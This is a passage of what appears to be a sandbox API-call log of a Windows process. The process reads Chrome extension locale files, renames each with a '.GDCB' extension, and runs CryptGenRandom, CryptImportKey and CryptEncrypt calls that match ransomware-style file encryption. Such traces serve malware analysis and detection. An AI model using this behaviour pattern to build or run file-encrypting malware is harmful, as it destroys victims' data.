pdwDataLen=0x285ce98*=0x100) returned 1 [0271.414] GetLastError () returned 0x0 [0271.414] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.414] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.415] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.418] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.420] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcb, lpOverlapped=0x0) returned 1 [0271.428] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.434] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json.gdcb")) returned 1 [0271.440] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.443] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.445] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.445] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.445] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.447] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.449] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.449] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.449] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.449] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.451] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799160) returned 1 [0271.452] CryptGetKeyParam (in: hKey=0x6799160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.452] CryptEncrypt (in: hKey=0x6799160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.452] GetLastError () returned 0x0 [0271.452] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.452] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.454] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67998a0) returned 1 [0271.454] CryptGetKeyParam (in: hKey=0x67998a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.454] CryptEncrypt (in: hKey=0x67998a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.454] GetLastError () returned 0x0 [0271.454] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.454] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.455] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.458] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.460] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x20b, lpOverlapped=0x0) returned 1 [0271.495] VirtualAlloc (lpAddress=0x0, dwSize=0x210, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.502] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json.gdcb")) returned 1 [0271.506] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0271.509] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.511] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.511] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.511] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.516] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.517] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.517] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.517] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.519] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67991e0) returned 1 [0271.519] CryptGetKeyParam (in: hKey=0x67991e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.519] CryptEncrypt (in: hKey=0x67991e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.519] GetLastError () returned 0x0 [0271.519] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.519] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0271.521] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799360) returned 1 [0271.521] CryptGetKeyParam (in: hKey=0x6799360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.521] CryptEncrypt (in: hKey=0x6799360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.521] GetLastError () returned 0x0 [0271.521] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.523] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.525] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.527] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb1, lpOverlapped=0x0) returned 1 [0271.536] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.542] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json.gdcb")) returned 1 [0271.548] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0271.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.552] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.552] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.552] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.552] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0271.555] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.557] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.557] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.557] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0271.559] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799720) returned 1 [0271.559] CryptGetKeyParam (in: hKey=0x6799720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.559] CryptEncrypt (in: hKey=0x6799720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.559] GetLastError () returned 0x0 [0271.559] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0271.559] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.561] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67995a0) returned 1 [0271.561] CryptGetKeyParam (in: hKey=0x67995a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.561] CryptEncrypt (in: hKey=0x67995a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.562] GetLastError () returned 0x0 [0271.562] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.562] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.563] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.566] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.568] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x96, lpOverlapped=0x0) returned 1 [0271.576] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.582] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.gdcb")) returned 1 [0271.587] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.591] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.593] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.594] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.594] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.594] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.597] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.599] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.599] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.599] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.600] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.602] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799320) returned 1 [0271.602] CryptGetKeyParam (in: hKey=0x6799320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.602] CryptEncrypt (in: hKey=0x6799320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.602] GetLastError () returned 0x0 [0271.602] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.602] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.604] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67995e0) returned 1 [0271.604] CryptGetKeyParam (in: hKey=0x67995e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.604] CryptEncrypt (in: hKey=0x67995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0271.605] GetLastError () returned 0x0 [0271.605] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.605] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0271.606] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0271.609] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0271.612] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb4, lpOverlapped=0x0) returned 1 [0271.621] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0271.658] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json.gdcb")) returned 1 [0271.663] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.666] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.668] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.668] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0271.668] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.668] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0271.671] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0271.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0271.673] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0271.673] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0271.673] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0271.676] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67993a0) returned 1 [0271.676] CryptGetKeyParam (in: hKey=0x67993a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.676] CryptEncrypt (in: hKey=0x67993a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0271.676] GetLastError () returned 0x0 [0271.676] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0271.676] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0271.678] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67991a0) returned 1 [0271.678] CryptGetKeyParam (in: hKey=0x67991a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0271.678] CryptEncrypt (in: hKey=0x67991a0, hHash=0x0, 